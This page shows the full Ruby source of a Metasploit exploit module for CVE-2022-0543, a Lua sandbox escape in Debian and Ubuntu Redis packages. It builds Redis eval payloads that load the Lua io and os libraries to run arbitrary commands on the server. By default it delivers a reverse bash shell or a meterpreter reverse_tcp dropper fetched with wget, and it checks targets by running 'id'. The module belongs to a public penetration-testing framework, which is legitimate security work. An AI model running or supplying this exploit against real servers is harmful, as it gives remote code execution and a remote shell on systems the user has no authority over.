Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/redis/redis_debian_sandbox_escape.rb
32588 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::CmdStager
11
include Msf::Auxiliary::Redis
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Redis Lua Sandbox Escape',
18
'Description' => %q{
19
This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
20
vulnerability was introduced by Debian and Ubuntu Redis packages that
21
insufficiently sanitized the Lua environment. The maintainers failed to
22
disable the package interface, allowing attackers to load arbitrary libraries.
23
24
On a typical `redis` deployment (not docker), this module achieves execution
25
as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the
26
"MemoryDenyWriteExecute" permission, which limits some of what an attacker can
27
do. For example, staged meterpreter will fail when attempting to use mprotect.
28
As such, stageless meterpreter is the preferred payload.
29
30
Redis can be configured with authentication or not. This module will work with
31
either configuration (provided you provide the correct authentication details).
32
This vulnerability could theoretically be exploited across a few architectures:
33
i386, arm, ppc, etc. However, the module only supports x86_64, which is likely
34
to be the most popular version.
35
},
36
'License' => MSF_LICENSE,
37
'Author' => [
38
'Reginaldo Silva', # Vulnerability discovery and PoC
39
'jbaines-r7' # Metasploit module
40
],
41
'References' => [
42
[ 'CVE', '2022-0543' ],
43
[ 'URL', 'https://www.lua.org/pil/8.2.html'],
44
[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],
45
[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],
46
[ 'URL', 'http://web.archive.org/web/20240910172732/https://ubuntu.com/security/CVE-2022-0543' ]
47
],
48
'DisclosureDate' => '2022-02-18',
49
'Privileged' => false,
50
'Targets' => [
51
[
52
'Unix Command',
53
{
54
'Platform' => 'unix',
55
'Arch' => ARCH_CMD,
56
'Type' => :unix_cmd,
57
'Payload' => {},
58
'DefaultOptions' => {
59
'PAYLOAD' => 'cmd/unix/reverse_bash'
60
}
61
}
62
],
63
[
64
'Linux Dropper',
65
{
66
'Platform' => 'linux',
67
'Arch' => [ARCH_X86, ARCH_X64],
68
'Type' => :linux_dropper,
69
'CmdStagerFlavor' => [ 'wget'],
70
'DefaultOptions' => {
71
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
72
}
73
}
74
]
75
],
76
'DefaultTarget' => 0,
77
'DefaultOptions' => {
78
'MeterpreterTryToFork' => true,
79
'RPORT' => 6379
80
},
81
'Notes' => {
82
'Stability' => [CRASH_SAFE],
83
'Reliability' => [REPEATABLE_SESSION],
84
'SideEffects' => [ARTIFACTS_ON_DISK]
85
}
86
)
87
)
88
register_options([
89
OptString.new('TARGETURI', [true, 'Base path', '/']),
90
OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),
91
OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])
92
])
93
end
94
95
# See https://github.com/rapid7/metasploit-framework/pull/13143
96
def has_check?
97
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
98
end
99
100
# Use popen to execute the desired command and read back the output. This
101
# is how the original PoC did it.
102
def do_popen(cmd)
103
exploit = "eval '" \
104
"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \
105
'local io = io_l(); ' \
106
"local f = io.popen(\"#{cmd}\", \"r\"); " \
107
'local res = f:read("*a"); ' \
108
'f:close(); ' \
109
"return res' 0" \
110
"\n"
111
sock.put(exploit)
112
sock.get(read_timeout)
113
end
114
115
# Use os.execute to execute the desired command. This doesn't return any output, and likely
116
# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution
117
# possibility not demonstrated by the original poc.
118
def do_os_exec(cmd)
119
exploit = "eval '" \
120
"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \
121
'local os = os_l(); ' \
122
"local f = os.execute(\"#{cmd}\"); " \
123
"' 0" \
124
"\n"
125
126
sock.put(exploit)
127
sock.get(read_timeout)
128
end
129
130
def check
131
connect
132
133
# Before we get crazy sending exploits over the wire, let's just check if this could
134
# plausiably be a vulnerable version. Using INFO we can check for:
135
#
136
# 1. 4 < Version < 6.1
137
# 2. OS contains Linux
138
# 3. redis_git_sha1:00000000
139
#
140
# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at
141
# package somewhere and it's nice to get final verification via exploitation anyway.
142
info_output = redis_command('INFO')
143
return CheckCode::Unknown('Failed authentication.') if info_output.nil?
144
return CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'
145
return CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'
146
147
redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]
148
return CheckCode::Safe('Could not extract a version number') if redis_version.nil?
149
return CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')
150
return CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')
151
return CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'
152
153
# okay, looks like a worthy candidate. Attempt exploitation.
154
result = do_popen('id')
155
return CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?
156
157
CheckCode::Safe("Could not execute 'id' on the remote target.")
158
ensure
159
disconnect
160
end
161
162
def execute_command(cmd, _opts = {})
163
connect
164
165
# force the redis mixin to handle auth for us
166
info_output = redis_command('INFO')
167
fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?
168
169
# escape any single quotes
170
cmd = cmd.gsub("'", "\\\\'")
171
172
# On success, there is no meaningful response. I think this is okay because we already have
173
# solid proof of execution in check.
174
resp = do_os_exec(cmd)
175
fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')
176
print_good('Exploit complete!')
177
ensure
178
disconnect
179
end
180
181
def exploit
182
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
183
case target['Type']
184
when :unix_cmd
185
execute_command(payload.encoded)
186
when :linux_dropper
187
execute_cmdstager
188
end
189
end
190
end
191
192